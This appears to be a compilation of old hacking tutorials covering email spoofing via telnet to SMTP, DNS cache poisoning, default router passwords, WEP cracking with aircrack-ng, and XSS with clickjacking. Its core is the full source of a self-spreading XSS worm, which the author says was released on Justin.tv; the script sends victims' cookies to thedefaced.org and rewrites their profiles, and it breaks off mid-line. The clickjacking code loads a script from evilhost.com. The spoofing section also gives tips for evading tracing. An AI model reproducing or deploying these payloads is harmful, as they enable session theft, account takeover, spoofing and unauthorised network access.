Understanding SMTP and how to send emails via Telnet.


 

  Understanding SMTP and how to send emails via Telnet.                   

                       

 This text explains how one can telnet do an SMTP server, and use that
 server to their advantage via commandline.  What you are about to see, is
 what really goes on behind the scenes of every program you use to send
 email.  Now you will know how to do it manually and how to send email
 from other people.  This can be easily done in your email software, but
 we dont like that GUI mess, so we stick with the commandline.

 NOTE:  I do not recommend that anyone take this knowledge and attempt
        to cause any harm with it.  The emails being sent "CAN" be
        traced back to you if needed. If you plan to use this in a manner
        that is not appropriate then i suggest highly that you bnc through
        wingates, proxies and/or shells before reaching the smtp server. (It wont
        guarantee anything but it will make the smtp owners attempt to trace
        you just alittle harder.)


 Vulnerable Machines: Any machine running an SMTP server.  (port 25 usually)

                      Any machine running SMTP that allows forwarding will let you
                      send emails to anywhere in the world. (not many of these around
                      anymore) The rest will only allow you to send emails within
                      their domain.



 -------------------------------------------------------------------------------
 Found below is an example on how one can achieve the sending of spoofed mail. 
 -------------------------------------------------------------------------------


 /* Connect to the smtp server */

 [brainrawt@yourmommas brainrawt]$ telnet blau.com 25
 Trying 205.123.15.34...
 Connected to mail.blau.com (205.123.15.34).
 Escape character is '^]'.
 220 mail.blau.com ESMTP Sendmail 8.9.3/8.9.3; Tue, 3 Jul 2001 18:32:54 -0500

 /* Say "helo" to the server.  Its the nice thing to do. */

 >helo blau.com
 250 mail.blau.com Hello rawt.blazingpenguin.com [192.168.0.3], pleased to meet you

 /* Tell the server where this email will "appear" to come from */

 >mail from: root@blau.com
 250 root@blau.com... Sender ok

 /* Tell the server where this email IS going */

 >rcpt to: brainrawt@blau.com
 250 brainrawt@blau.com... Recipient ok

 /* Prepare the server for our message by typing "data" */

 >data
 354 Enter mail, end with "." on a line by itself

 /* Now we shall get that msg in there (dont forget the "." on the line by itself.) */

 >This is my message and i am only sending it to help you better understand how this works.
 >.
 250 SAA29307 Message accepted for delivery


 /* Message has been accepted by the server.  Lets get outta here! */

 >quit
 221 mail.blau.com closing connection
 Connection closed by foreign host.
 [brainrawt@yourmommas brainrawt]$

 --------------------------------------------------------------------------------------------
 The above example has sent an email from "root@blau.com" to "brainrawt@blau.com" with the
 message "This is my message and i am only sending it to help you better understand how this
 works." and it has all been done remotely by a user that doesnt even have an account on
 blau.com.
 --------------------------------------------------------------------------------------------


MY LOGO


DNS



Pretend for the moment that you know only the basic function of DNS
— that it translates WWW.VICTIM.COM into 1.2.3.4. The code that
does this is called a resolver. Each time the resolver contacts the
DNS to translate names to addresses, it creates a packet called a
query. The exchange of packets is called a transaction. Since the
number of packets flying about on the internet requires scientific
notation to express, you can imagine there has to be some way of
not mixing them up.

Bob goes to to a deli, to get a sandwich. Bob walks up to the
counter, takes a pointy ticket from a round red dispenser. The
ticket has a number on it. This will be Bob’s unique identifier for
his sandwich acquisition transaction. Note that the number will
probably be used twice — once when he is called to the counter to
place his order and again when he’s called back to get his
sandwich. If you’re wondering, Bob likes ham on rye with no onions.

If you’ve got this, you have the concept of transaction IDs, which
are numbers assigned to keep different transactions in order.
Conveniently, the first sixteen bits of a DNS packet is just such a
unique identifier. It’s called a query id (QID). And with the
efficiency of the deli, the QID is used for multiple transactions.
2.

Until very recently, there were two basic classes of DNS
vulnerabilities. One of them involves mucking about with the QID in
DNS packets and the other requires you to know the Deep Magic.

First, QIDs.

Bob’s a resolver and Alice is a content DNS server. Bob asks Alice
for the address of WWW.VICTIM.COM. The answer is 1.2.3.4. Mallory
would like the answer to be 6.6.6.0.

It is a (now not) secret shame of mine that for a great deal of my
career, creating and sending packets was, to me, Deep Magic. Then
it became part of my job, and I learned that it is surprisingly
trivial. So put aside the idea that forging IP packets is the hard
part of poisoning DNS. If I’m Mallory and I’m attacking Bob, how
can he distinguish my packets from Alice’s? Because I can’t see the
QID in his request, and the QID in my response won’t match. The QID
is the only thing protecting the DNS from Mallory (me).

QID attacks began in the olden days, when BIND simply incremented
the QID with every query response. If you can remember 1995, here’s
a workable DNS attack. Think fast: 9372 + 1. Did you get 9372, or
even miss and get 9373? You win, Alice loses. Mallory sends a
constant stream of DNS responses for WWW.VICTIM.COM. All are
quietly discarded —- until Mallory gets Bob to query for
WWW.VICTIM.COM. If Mallory’s response gets to your computer before
the legitimate response arrives from your ISP’s name server, you
will be redirected where Mallory tells you you’re going.

Obvious fix: you want the QID be randomly generated. Now Alice and
Mallory are in a race. Alice sees Bob’s request and knows the QID.
Mallory has to guess it. The first one to land a packet with the
correct QID wins. Randomized QIDs give Alice a big advantage in
this race.

But there’s a bunch more problems here:

    *

      If you convince Bob to ask Alice the same question 1000 times
all at once, and Bob uses a different QID for each packet, you made
the race 1000 times easier for Mallory to win.
    *

      If Bob uses a crappy random number generator, Mallory can get
Bob to ask for names she controls, like WWW.EVIL.COM, and watch how
the QIDs bounce around; eventually, she’ll break the RNG and be
able to predict its outputs.
    *

      16 bits just isn’t big enough to provide real security at the
traffic rates we deal with in 2008.

Your computer’s resolver is probably a stub. Which means it won’t
really save the response. You don’t want it to. The stub asks a
real DNS server, probably run by your ISP. That server doesn’t know
everything. It can’t, and shouldn’t, because the whole idea of DNS
is to compensate for the organic and shifting nature of internet
naming and addressing. Frequently, that server has to go ask
another, and so on. The cool kids call this “recursion”.

Responses carry another value, too, called a time to live (TTL).
This number tells your name server how long to cache the answer.
Why? Because they deal with zillions of queries. Whoever wins the
race between Alice and Mallory, their answer gets cached. All
subsequent responses will be dropped. All future requests for that
same data, within the TTL, come from that answer. This is good for
whoever wins the race. If Alice wins, it means Mallory can’t poison
the cache for that name. If Mallory wins, the next 10,000 or so
people that ask that cache where WWW.VICTIM.COM is go to 6.6.6.0.
3.

Then there’s that other set of DNS vulnerabilities. These require
you to pay attention in class. They haven’t really been talked
about since 1997. And they’re hard to find, because you have to
understand how DNS works. In other words, you have to be completely
crazy. Lazlo Hollyfeld crazy. I’m speaking of course of RRset
poisoning.

DNS has a complicated architecture. Not only that, but not all name
servers run the same code. So not all of them implement DNS in
exactly the same way. And not only that, but not all name servers
are configured properly.

I just described a QID attack that poisons the name server’s cache.
This attack requires speed, agility and luck, because if the “real”
answer happens to arrive before your spoofed one, you’re locked
out. Fortunately for those of you that have a time machine, some
versions of DNS provide you with another way to poison the name
server’s cache anyway. To explain it, I will have to explain more
about the format of a DNS packet.

DNS packets are variable in length and consist of a header, some
flags and resource records (RRs). RRs are where the goods ride
around. There are up to three sets of RRs in a DNS packet, along
with the original query. These are:

    *

      Answer RR’s, which contain the answer to whatever question
you asked (such as the A record that says WWW.VICTIM.COM is 1.2.3.4)
    *

      Authority RR’s, which tell resolvers which name servers to
refer to to get the complete answer for a question
    *

      Additional RR’s, sometimes called “glue”, which contain any
additional information needed to make the response effective.

A word about the Additional RR’s. Think about an NS record, like
the one that COM’s name server uses to tell us that, to find out
where WWW.VICTIM.COM is, you have to ask NS1.VICTIM.COM. That’s
good to know, but it’s not going to help you unless you know where
to find NS1.VICTIM.COM. Names are not addresses. This is a chicken
and egg problem. The answer is, you provide both the NS record
pointing VICTIM.COM to NS1.VICTIM.COM, and the A record pointing
NS1.VICTIM.COM to 1.2.3.1.

Now, let’s party like it’s 1995.

Download the source code for a DNS implementation and hack it up
such that every time it sends out a response, it also sends out a
little bit of evil — an extra Additional RR with bad information.
Then let’s set up an evil server with it, and register it as
EVIL.COM. Now get a bunch of web pages up with IMG tags pointing to
names hosted at that server.

Bob innocently loads up a page with the malicious tags which
coerces his browser resolve that name. Bob asks Alice to resolve
that name. Here comes recursion: eventually the query arrives at
our evil server. Which sends back a response with an unexpected
(evil) Additional RR.

If Alice’s cache honors the unexpected record, it’s 1995 —- buy
CSCO! —- and you just poisoned their cache. Worse, it will replace
the “real” data already in the cache with the fake data. You asked
where WWW.EVIL.COM was (or rather, the image tags did). But Alice
also “found out” where WWW.VICTIM.COM was: 6.6.6.0. Every resolver
that points to that name server will now gladly forward you to the
website of the beast.
4.

It’s not 1995. It’s 2008. There are fixes for the attacks I have
described.
Fix 1:

The QID race is fixed with random IDs, and by using a strong random
number generator and being careful with the state you keep for
queries. 16 bit query IDs are still too short, which fills us with
dread. There are hacks to get around this. For instance, DJBDNS
randomizes the source port on requests as well, and thus won’t
honor responses unless they come from someone who guesses the ~16
bit source port. This brings us close to 32 bits, which is much
harder to guess.
Fix 2:

The RR set poisoning attack is fixed by bailiwick checking, which
is a quirky way of saying that resolvers simply remember that if
they’re asking where WWW.VICTIM.COM is, they’re not interested in
caching a new address for WWW.GOOGLE.COM in the same transaction.

Remember how these fixes work. They’re very important.

And so we arrive at the present day.
5.

Let’s try again to convince Bob that WWW.VICTIM.COM is 6.6.6.0.

This time though, instead of getting Bob to look up WWW.VICTIM.COM
and then beating Alice in the race, or getting Bob to look up
WWW.EVIL.COM and slipping strychnine into his ham sandwich, we’re
going to be clever (sneaky).

Get Bob to look up AAAAA.VICTIM.COM. Race Alice. Alice’s answer is
NXDOMAIN, because there’s no such name as AAAAA.VICTIM.COM. Mallory
has an answer. We’ll come back to it. Alice has an advantage in the
race, and so she likely beats Mallory. NXDOMAIN for
AAAAA.VICTIM.COM.

Alice’s advantage is not insurmountable. Mallory repeats with
AAAAB.VICTIM.COM. Then AAAAC.VICTIM.COM. And so on. Sometime,
perhaps around CXOPQ.VICTIM.COM, Mallory wins! Bob believes
CXOPQ.VICTIM.COM is 6.6.6.0!

Poisoning CXOPQ.VICTIM.COM is not super valuable to Mallory. But
Mallory has another trick up her sleeve. Because her response
didn’t just say CXOPQ.VICTIM.COM was 6.6.6.0. It also contained
Additional RRs pointing WWW.VICTIM.COM to 6.6.6.0. Those records
are in-bailiwick: Bob is in fact interested in VICTIM.COM for this
query. Mallory has combined attack #1 with attack #2, defeating fix
#1 and fix #2. Mallory can conduct this attack in less than 10
seconds on a fast Internet link.

Default usernames and password



  

Default usernames and passwords for 

                                                                 Routers/Switches/Hubs 


   Type/vendor/notes/etc                     Username Password
  
   3Com                                      admin    synnet
   3Com                                      read     synnet
   3Com                                      write    synnet
   3Com                                      monitor  monitor
   3Com                                      manager  manager
   3Com                                      security security
   3Com_Office_Connect_5x0_ISDN_Routers      n/a      PASSWORD
   3comCellPlex7000                          tech     tech
   3comCoreBuilder7000/6000/3500/2500        debug    synnet
   3comCoreBuilder7000/6000/3500/2500        tech     tech
   3comHiPerARCv4.1.x                        adm      <blank>
   3ComLANplex2500                           debug    synnet
   3ComLANplex2500                           tech     tech
   3comLinkSwitch2000/2700                   tech     tech
   3comSuperStackIISwitch                    2200     debug
   3comSuperStackIISwitch                    2700     tech
   ACC(Ericsson)                             netman   netman
   ADC_Kentrox_Pacesetter_Router             n/a      secret
   All_Zyxel_equipment                       n/a      1234
   AT&T_3B2_firmware                         n/a      mcp
   AXIS200/240[netcam]                       root     pass
   Bay_routers                               Manager  <blank>
   Bay_routers                               User     <blank>
   Bay350T_Switch                            n/a      NetICs
   BaySuperstackII                           security security
   BRASX/I01_(DataCom)                       n/a      letmein
   BreezeCOM_adapters2.x(console_only)       n/a      laflaf
   BreezeCOM_adapters3.x(console_only)       n/a      Master
   BreezeCOM_adapters4.x(console_only)       n/a      Super
   Cayman_DSL                                n/a      <blank>
   Crystalview_outsideview32                 n/a      crystal
   digiCorp_(viper?)                         n/a      BRIDGE
   digiCorp_(viper?)                         n/a      password
   DLink_hub/switches                        D-Link   D-Link
   Flowpoint_DSL_installed_by_Covad          n/a      password
   Flowpoint_DSL2000                         admin    admin
   Jetform_design                            Jetform  n/a
   Lantronics_Terminal_server_port           7000     n/a
   Lantronics_Terminal_server_port           7000     n/a
   Linksys_DSL                               n/a      admin
   Livingston_IRX_router                     !root    <blank>
   Livingston_officerouter                   !root    <blank>
   Livingston_portmaster2/3                  !root    <blank>
   Microplex_print_server                    root     root
   Motorola-Cablerouter                      cablecom router
   Netopia_7100                              <blank>  <blank>
   Netopia_9500                              netopia  netopia
   Orbitor_console                           n/a      password
   Orbitor_console                           n/a      BRIDGE
   Osicom(Datacom)                           sysadm   sysadm
   Shiva                                     root     <blank>
   Shiva                                     Guest    <blank>
   SpeedstreamDSL(Efficient)                 n/a      admin
   UClinux_for_UCsimm                        root     uClinux
   Webramp                                   wradmin  trancell
   Alteon ACEswitch 180e (web)               admin    admin
   Alteon ACEswitch 180e (telnet)            admin    <blank>
   NETPrint (all)                            n/a      sysadm
   Xylan Omniswitch                          admin    switch
   Xylan Omniswitch                          diag     switch
   AcceleratedDSL CPE and DSLAM              sysadm   anicust
   Arrowpoint                                admin    system
   Cabletron (routers & switches)            <blank>  <blank>
  
   Needed
  
   Packeteer
   Cabletron
   SMC
   Accton
  
 


 

XSS worms

XSS worms






XSS worms are pretty neat, interactive worms that propagate by using a client's browser to progressively infect other profiles in some way. I wrote my own worm a while back, and I wanted to talk about how it worked, how it was affective, and what challenges I faced.

The worm I created was in Justin.Tv. The best thing about XSS worms is that they're as unique as the XSS. Tons of different things may occur, and it's up to many different variables that the worm is successful.

The XSS in justin.tv was found by x2Fusion. x2Fusion and I worked on the worm right when we came up with the idea of making one.

The XSS was in the Location field. So, people viewing another user's profile would run whatever we put there, as it was not sanitized. But there was one more challenge: the location was placed in the title sanitized. We had to find a way to not only hide the worm in the title, but we also had to impliment some javascript that automatically changed the title as soon as it loaded.

Once we started on the worm, we made the .js file on an external website, and before script inclusion we put several HTML comment tags to hide it in the title. In the location javascript, we edited the location javascript (local) to dynamically remove the title, keeping it stealthy (as possible) to avoid other issues. The local javascript also made a hidden, blank iFrame that we could reference in the remove javascript.

To start off, the remote javascript would force the iframe to our website and provide, dynamically, the client's cookies and profile location. We would use this to track what profiles were infected by who, and when, and all of the client details at the time.

We would create the payload inside the remote javascript that we can use to inject with the viewing user's profile. The "payload" data is pretty much our local javascript. We also added a ^ (rare location element, if you ask me) character after the user's location, which our local javascript will use to manage the dynamic script.

What we didn't think about, well... we were in a hurry so it's not our fault, ^ would remain on the titles. People would definately notice, but it wasn't patched until about 24 hours after.

We printed a new iFrame (hidden), and used it to read out the details in convinient little sub-frame form elements. We took the elements and processed them, only changing the Location field if it wasn't already infected, and then sending the request (if it wasn't already infected).

This was more complicated as it seemed... we had to fight between IE and Firefox (Safari follows Firefox for the most part) compatibility. After doing that, we realized... if the infected person was... well an actual broadcaster, the default page wasn't what we were looking for. Thus, we needed to dynamically read whether certain elements were given on the page, and also go to the correctly named page.

We had another request upon new infections that saved user details.

Once the request was sent, by then it is assumed the profile was infected and we have it recorded on our side. In-fact, quickly after we released it, I made a quick little PHP script that waited for more accounts to be infected (and their userdetails), and printed out a highlighted table element had it fade out after 5 seconds. After about 1500 profiles, I sat there watching 4 to 10 be infected a second, and it was funny to watch them be infected life.

Actually, check it out:

function URLEncode (clearString)
    {
    var output = '';
    var x = 0;
    clearString = clearString.toString();
    var regex = /(^[a-zA-Z0-9_.]*)/;

    while (x < clearString.length)
        {
        var match = regex.exec(clearString.substr(x));

        if (match != null && match.length > 1 && match[1] != '')
            {
            output += match[1];
            x += match[1].length;
            }

        else
            {
            if (clearString[x] == ' ')
                output += '+';

            else
                {
                var charCode = clearString.charCodeAt(x);
                var hexVal = charCode.toString(16);
                output += '%' + (hexVal.length < 2 ? '0' : '') + hexVal.toUpperCase();
                }
            x++;
            }
        }
    return output;
    }

function save_settings(action, enctype, method, query)
    {
    var xmlHttp;

    try
        {
        xmlHttp = new XMLHttpRequest();
        }
    catch (e)
        {
        try
            {
            xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
            }
        catch (e)
            {
            try
                {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
                }
            catch (e)
                {
                return false;
                }
            }
        }
    xmlHttp.open(method, action, true);
    xmlHttp.setRequestHeader('Content-Type', enctype);
    xmlHttp.send(query);
    return false;
    }
document.title = document.title.split('^')[0] + " - Justin.tv";
var base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.split("");
var base64inv = {
};

for (var i = 0; i < base64chars.length; i++)
    {
    base64inv[base64chars[i]] = i;
    }

function b64_d (s)
    {
    s = s.replace(new RegExp('[^' + base64chars.join("") + '=]', 'g'), "");
    var p = (s.charAt(s.length - 1) == '=' ? (s.charAt(s.length - 2) == '=' ? 'AA' : 'A') : "");
    var r = "";
    s = s.substr(0, s.length - p.length) + p;

    for (var c = 0; c < s.length; c += 4)
        {
        var n = (base64inv[s.charAt©] << 18) + (base64inv[s.charAt(c + 1)] << 12) + (base64inv[s.charAt(c + 2)] << 6)
            + base64inv[s.charAt(c + 3)];
        r += String.fromCharCode((n >>> 16) & 255, (n >>> 8) & 255, n & 255);
        }
    return r.substring(0, r.length - p.length);
    }

function b64_e(s)
    {
    var r = "";
    var p = "";
    var c = s.length % 3;

    if (c > 0)
        {
        for (;c < 3; c++)
            {
            p += '=';
            s += "\0";
            }
        }

    for (c = 0; c < s.length; c += 3)
        {
        if (c > 0 && (c / 3 * 4) % 76 == 0)
            {
            r += "\r\n";
            }
        var n = (s.charCodeAt© << 16) + (s.charCodeAt(c + 1) << 8) + s.charCodeAt(c + 2);
        n = [(n >>> 18) & 63, (n >>> 12) & 63, (n >>> 6) & 63, n & 63];
        r += base64chars[n[0]] + base64chars[n[1]] + base64chars[n[2]] + base64chars[n[3]
];
        }
    return r.substring(0, r.length - p.length) + p;
    }
document.getElementById('tframeid').src = "http://thedefaced.org/jtv/jtv_test.php?act=mesh&cookie="
    + b64_e(document.cookie) + "&location=" + b64_e(String(window.location));
document.write("");
payload = b64_d(
    "XjwhLS1BbGwgb3BlbmluZ3MgaW4gYW4gaW50ZXJuYWwgb3IgZXh0ZXJuYWwgZmxvYXRpbmcgcm9
vZiBleGNlcHQgZm9yIGF1dG9tYXRpYyBibGVlZGVyIHZlbnRzICh2YWN1dW0gYnJlYWtlciB2ZW50cyk
g
YW5kIHJpbSBzcGFjZSB2ZW50cyBtdXN0IHByb3ZpZGUgYSBwcm9qZWN0aW9uIGJlbG93IHRoZSBsaXF1
a
WQgc3VyZmFjZSBvciBiZSBlcXVpcHBlZCB3aXRoIGEgY292ZXIsIHNlYWwsIG9yIGxpZCwgd2hpY2ggb
X
VzdCBiZSBpbiBhIGNsb3NlZCAoaS5lLiwgbm8gdmlzaWJsZSBnYXApIHBvc2l0aW9uIGF0IGFsbCB0aW
1
lcyBleGNlcHQgd2hlbiB0aGUgZGV2aWNlIGlzIGluIGFjdHVhbCB1c2UuLS0+IDxpZnJhbWUgaWQ9J3R
m
cmFtZWlkJyB3aWR0aD0wIGhlaWdodD0wIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+PHNjcmlwdCBzcmM9
I
mh0dHA6Ly90aGVkZWZhY2VkLm9yZy9qdHYvanR2X3Rlc3QucGhwP2FjdD1qcyIgbGFuZ3VhZ2U9Imphd
m
FzY3JpcHQiPjwvc2NyaXB0PiA8IS0tQWxsIG9wZW5pbmdzIGluIGFuIGludGVybmFsIG9yIGV4dGVybm
F
sIGZsb2F0aW5nIHJvb2YgZXhjZXB0IGZvciBhdXRvbWF0aWMgYmxlZWRlciB2ZW50cyAodmFjdXVtIGJ
y
ZWFrZXIgdmVudHMpIGFuZCByaW0gc3BhY2UgdmVudHMgbXVzdCBwcm92aWRlIGEgcHJvamVjdGlvbiBi
Z
WxvdyB0aGUgbGlxdWlkIHN1cmZhY2Ugb3IgYmUgZXF1aXBwZWQgd2l0aCBhIGNvdmVyLCBzZWFsLCBvc
i
BsaWQsIHdoaWNoIG11c
3QgYmUgaW4gYSBjbG9zZWQgKGkuZS4sIG5vIHZpc2libGUgZ2FwKSBwb3NpdGlvbiBhdCBhbGwgdGltZ
XMgZXhjZXB0IHdoZW4gdGhlIGRldmljZSBpcyBpbiBhY3R1YWwgdXNlLi0tPg==");
document.getElementById('tframeset').onload = function ()
    {
    if (frames['tframeset'].document.getElementById('user_location').value.indexOf(
        'All openings in an internal or external floating roof')
        == -1)
        {
        query = "section=profile&session_user=";
        query += frames['tframeset'].document.getElementById('session_user').value;
        query += "&subsection=profile_info";
        query += "&commit=Save%20Changes";

        if (frames['tframeset'].document.getElementById('user_hide_im_watching').value != 1)
            {
            query += "&user[hide_profile_actions]=0";
            }

        else
            {
            query += "&user[hide_profile_actions]=1";
            };

        if (frames['tframeset'].document.getElementById('user_hide_profile_actions').value != 1)
            {
            query += "&user[hide_profile_actions]=0";
            }

        else
            {
            query += "&user[hide_profile_actions]=1";
            };
        query += "&user[profile_about]="
            + URLEncode(frames['tframeset'].document.getElementById('user_profile_about').value);
        query += "&user[favorite_quotes]="
            + URLEncode(frames['tframeset'].document.getElementById('user_favorite_quotes').value);
        query += "&user[interests]=" + URLEncode(frames['tframeset'].document.getElementById('user_interests').value);
        query += "&user[location]="
            + URLEncode(frames['tframeset'].document.getElementById('user_location').value + payload);
        query += "&user[sex]=" + frames['tframeset'].document.getElementById('user_sex').value;
        query += "&user[name]=" + URLEncode(frames['tframeset'].document.getElementById('user_name').value);
        save_settings('/settings', 'application/x-www-form-urlencoded', 'POST', query);
        }
    document.getElementById('tframeset').onload = function ()
        {
        };

    document.getElementById('tframeset').onreadystatechange = function ()
        {
        };
    };

document.getElementById('tframeset').onreadyst

10 Easy Steps to Crack a Wireless WEP

10 Easy Steps to Crack a Wireless WEP Key 128 bit using Ubuntu 7.10

using Aircrack-ng Tools

This is my First Tutorial

1)sudo airmon-ng start wifi0 (start ur wifi card to monitor mode)

2)sudo wlanconfig ath0 destroy

3)sudo ifconfig ath1 up (makes ur ath1 interface up)

4)sudo iwconfig ath1 mode monitor channel 11 (makes ath1 to set in monitor mode in channel 11)

5)sudo aireplay-ng -1 0 -e linksys -a 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 ath1 ( Sending Authentication Request)

6)sudo aireplay-ng -5 -b 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 ath1 (fragmentation attack)

7)packetforge-ng -0 -a 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 -k 255.255.255.255 -l 255.255.255.255 -y ur xor file.xor -w arp-request (generate an arp packet)

8)sudo airodump-ng -c 11 -bssid 00:11:22:33:44:55 -w capture ath1 (monitors the AP)

9)sudo aireplay-ng -2 -r arp-request ath1 (sending the Arp-request with use interactive frame selection)


10)sudo aircrack-ng -z *.cap (capture*.cap selects all dump files starting with "capture" and ending in "cap") "-z ptw attack

and below is the link for the video

http://in.youtube.com/watch?v=Vvok-PBSpFY



ClickJacking


ClickJacking


-[ INFOS ]-----------------------------------------------------------------------
Title: "The Clickjacking meets XSS: a state of art"

---------------------------------------------------------------------------------


-[ SUMMARY ]---------------------------------------------------------------------
    0x01: Introduction
    0x02: What is the Problem
    0x03: JavaScript always loves us
        \_ 0x03a: Cursor tracking
        \_ 0x03b: Graphic overlaying
    0x04: XSS done!
    0x05: Conclusions
---------------------------------------------------------------------------------



---[ 0x01: Intruduction ]
The clickjacking attacks come from a recent discovery of the two well-known
researchers Jeremiah Grossman (from WhiteHat Security) and Robert "RSnake" Hansen
(from Ha.ckers.org): it's a quite simple but effective attack that has already
been expressed in its potentialities in several articles such as:
http://ha.ckers.org/blog/20081007/clickjacking-details/
http://jeremiahgrossman.blogspot.com/2008/10/clickjacking-web-pages-can-see-and-hear.html

You can take a look to the BlackHat Webcast made by Jeremiah Grossman disclosing
more details on Clickjacking and on HTML and JavaScript designing issues at this
address: http://www.blackhat.com/html/webinars/clickjacking.html

What we'll quickly analyze in this short whitepaper is how to match two different
attacks as XSS and Clickjacking to make their combination even more effective.
-------------------------------------------------------------------------------[/]



---[ 0x02: What is the Problem ]
One of the most common problem during the deploying of client-side attacks (such
as CSRFs), is the spreading of the page with the attacking vectors specifically
built for some purpose.

It's in some way problematic to trick your victim to visit an unknown page where
he should fall to the attack, and it's as much problematic to find the right place
to host that page on the net.

What about injecting your clickjacking vectors in a vulnerable webpage trusted by
the victim himself? This would make the attack less suspicious and probably a way
more easy to accomplish since the user will be completely comforted by the
genuineness of the website he is visiting.
-------------------------------------------------------------------------------[/]



---[ 0x03: JavaScript always loves us ]
Of course we're going to use some JavaScript codes to accomplish our attack
attempts, specifically we're going to try two different methods:
- 0x03a = making a cursor following IFRAME on which the user will be forced to
      click;
- 0x03b = create some specific HTML code to be overlayed on some other inside the
      page.

Have fun :-)
-------------------------------------------------------------------------------[/]



------[ 0x03a: Cursor tracking ]
The first Clickjacking attack we are going to prepare will be named "Cursor
tracking": we'll use JavaScript to make a "moving" trap IFRAME.

Let's start from preparing the code which will deploy the Clickjacking attack:
what we want to do is to get the user clicking on a specific button or link which
will force him to make some action to the website we will load in a crafted
invisible IFRAME.

First let's prepare the IFRAME code in which we'll load the button to be clicked:
   
    <iframe id="victim" src="http://target.com/page.php" scrolling="no"
    style="opacity: 0;position: absolute;left: 10;bottom: 10;"
    width="500px;"></iframe>

In this simple IFRAME declaration we just have to be sure to turn off the
"scrolling" function and to set the "opacity" property to 0 in order to make the
page invisible to the victim.  The position of the page inside the IFRAME depends
on where the user should click, you would probably want to fix it using:

    margin-top: X;
    margin-left: X;

Using negative values you'll get the page more and more centered into the IFRAME.

The next step is to prepare a JavaScript function that will make the IFRAME follow
the users cursor on the webpage we'll inject the code into, and we can achieve
this using the Event Handlers as following.

    function getPosition(e) {
        e = e || window.event;
        var cursor = {x:0, y:0};
            if (e.pageX || e.pageY) {
            cursor.x = e.pageX;
            cursor.y = e.pageY;
        } else {
            var de = document.documentElement;
            var b = document.body;
            cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /
            (de.clientLeft || 0);
            cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -      /
            (de.clientTop || 0);
        }
       
        return cursor;
    }

This function retrieve the X and Y coordinates of the user's cursor in the webpage
everytime it gets called.

    function clickjacking(e) {
        var loadFrame = document.getElementById("victim");
        var curPos = getPosition(e);
        loadFrame.setAttribute('style','opacity:0;position:absolute;top:'/
        + (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
    }

Again, this one loads the IFRAME, calls the previous "getPosition" function and
changes the style attributes of the loaded IFRAME with the new coordinates
retrieved from the cursor tracking function.

    window.captureEvents(Event.MOUSEMOVE);
    window.onmousemove=clickjacking;

This will call the MOUSEMOVE Event handler and make the "clickjacking" function be
called at each user's cursor movement inside the webpage.  As we are now the
JavaScript codes we created make the IFRAME follows the victim's cursor inside a
webpage and force him to click on a specific button contained in that IFRAME at
each click he apparently make on a safe and genuine page.

Now let's make our JavaScript print out the IFRAME inside the HTML code with
document.write:

document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\"
scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\"
width=\"500px;\"></iframe>");

In this way the IFRAME code will be printed inside the vulnerable web page we're
going to disfrut as soon as our XSS attack vector is included.

Our JavaScript code will finally look as following:

<!-- clickjacking.js -->
function getPosition(e) {
    e = e || window.event;
    var cursor = {x:0, y:0};

    if (e.pageX || e.pageY) {
        cursor.x = e.pageX;
        cursor.y = e.pageY;
    } else {
        var de = document.documentElement;
        var b = document.body;
        cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) -  /
        (de.clientLeft || 0);
        cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -    /
        (de.clientTop || 0);
    }
   
    return cursor;
}

function clickjacking(e) {
    var loadFrame = document.getElementById("victim");
    var curPos = getPosition(e);
    loadFrame.setAttribute('style','opacity:0;position:absolute;top:' +  /
    (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
}

window.captureEvents(Event.MOUSEMOVE);
window.onmousemove=clickjacking;

document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\"  /
scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\"  /
width=\"500px;\"></iframe>");
<!-- EOF -->
-------------------------------------------------------------------------------[/]



------[ 0x03b: Graphic overlaying ]
Another way is to create some HTML code to be injected in the webpage which
graphic components will be overlayed by new fake ones that will invite the user to
click.

For example let's assume that our victim is visiting a website in which there is a
code that permits him to remove his buddies:

    <form method="POST" name="friends" action="remove.php">
        <div>George Lucas</div>
        <input type="hidden" name="friendid" value="123456" />
        <input type="submit" value="Remove from friends" />
    </form>

We want to force the user to remove "George Lucas" from his friends without his
acknowledgement, we can eventually craft some JavaScript code as following:

<!-- clickjacking.js -->
function bonus() {
    document.friends.submit();
}
document.write("<div style=\"position:absolute;top:Ypx;left:Xpx;\"><input  /
type=button value=\"Your friend sent you a gift, get it!\" onClick=\"javascript:bonus()\" /
/></div>");
<!-- EOF -->

This will create a button to be overlayed at X and Y coordinates, exactly
overlaying the "Remove from friends" button making it invisible to the user.  When
clicking our button he will instead submit the FORM which will remove the poor
"George Lucas" from his buddy list.

This is just an example of how can be used the overlaying technique, another one
could be to replace the original login form with a new one specifically crafted
and positioned inside the page with the TOP and LEFT style attributes.
-------------------------------------------------------------------------------[/]



---[ 0x04: XSS done! ]
Assuming that a common webpage our victim is used to visit (like a ebanking page
or a blog or whatever) is vulnerable to Cross Site Scripting (a way better if
Permanent), we can inject our JavaScript code previously forged in order to deploy
our XSS-Clickjacking attack in which the victim will almost certainly fall into.

<script src=http://evilhost.com/clickjacking.js></script>

This is the XSS vector we should use to make our JavaScript code to be executed on
the victim's browser: the injecting can be done, as we've already seen
(http://www.playhack.net/papers/18), through a URL's GET parameter or a user form
input not sanitized.

Obviously a Non-Permanent XSS vulnerability would require some previous spreading,
in order to get the victim noticed of the crafted malicious link on which he
should get.
-------------------------------------------------------------------------------[/]



---[ 0x05: Conclusions ]
The clickjacking is a very cute attacking technique that gets even better when
matched with a Permanent or Non-Permanent Cross Site Scripting vulnerability.

The funny and interesting thing of this attack is that leaves a lot of space to
the attacker creativity and inventiveness, letting him express the best idea of
the sublime art of tricking web users.

There are tons of possibilities and i invite you to mail me whenever you create a
new and smart one you'd like to share ;-)
